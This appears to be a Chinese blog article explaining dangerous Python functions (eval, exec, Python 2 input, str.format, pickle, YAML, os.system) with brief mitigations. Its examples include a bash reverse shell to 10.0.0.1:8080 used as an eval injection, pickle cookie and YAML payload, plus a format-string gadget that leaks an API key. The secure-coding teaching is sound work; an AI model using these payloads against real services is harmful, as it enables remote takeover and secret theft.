本文共 2368 字,大约阅读时间需要 7 分钟。
在Python中,一些函数如果不当使用,可能会导致严重的安全问题。以下是三个常见的危险函数及其潜在风险:
eval
函数能够将字符串作为代码执行,这使得它非常危险。攻击者可以通过构造恶意字符串,绕过身份验证或执行恶意操作。
示例:
eval('1+1') # 返回 2
def addition(a, b): return eval("%s + %s" % (a, b))result = addition(request.json['a'], request.json['b'])
{ "a": "__import__('os').system('bash -i > /dev/tcp/10.0.0.1/8080 0>&1')#", "b": "2"}
上述输入会通过 os.system()
调用,绑定一个反向 shell。
exec
函数与 eval
类似,直接执行字符串代码,同样存在严重安全隐患。
示例:
def addition(a, b): return exec("%s + %s" % (a, b))
在 Python 2 中,input()
函数可以直接读取用户输入,且不进行任何类型验证。攻击者可以通过构造输入,绕过认证或导致其他安全问题。
示例:
user_pass = get_user_pass("admin")if user_pass == input("Please enter your password"): login()else: print("Password is incorrect!")
攻击者可以输入 user_pass
作为变量名,导致 if user_pass == user_pass
为真,伪造认证。
str.format()
和 format()
函数可以通过构造格式字符串,访问程序内的私有数据或执行恶意操作。
示例:
CONFIG = { "API_KEY": "xxxxxxxxxxxxxxxxxxxxx"}class Person(object): def __init__(self, name): self.name = namedef print_nametag(format_string, person): return format_string.format(person=person)new_person = Person("Pxiaoer")print_nametag(input("Please format your nametag!"), new_person)
print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)
上述代码会泄露 API_KEY
。
Pickle 是 Python 的序列化工具,但由于它不提供加密或验证机制,反序列化可以导致身份验证绕过或代码执行。
示例:
class Malicious: def __reduce__(self): return (os.system, ('bash -i > /dev/tcp/10.0.0.1/8080 0>&1',))fake_object = Malicious()session_cookie = base64.b64encode(pickle.dumps(fake_object))
反序列化时会执行 os.system
,绑定一个反向 shell。
YAML 解析也存在安全隐患,攻击者可以构造恶意 YAML 文件,绕过访问控制或执行代码。
示例:
!!python/object/apply:os.system ["bash -i > /dev/tcp/10.0.0.1/8080 0>&1"]
在受限的沙箱环境中,攻击者可以通过调用特定函数(如 os.system
, subprocess.call
等)获取更多权限。
示例:
import osimport subprocessimport commandsos.system('ifconfig')os.popen('ifconfig')commands.getoutput('ifconfig')commands.getstatusoutput('ifconfig')subprocess.call(['ifconfig'], shell=True)
攻击者可以通过这些函数直接执行 shell 命令。
csrf
中间件保护重要操作。os.system
等直接执行 shell 命令,使用 shutil.rmtree
等安全函数。logrotate
和 auditd
定期审计日志和配置文件。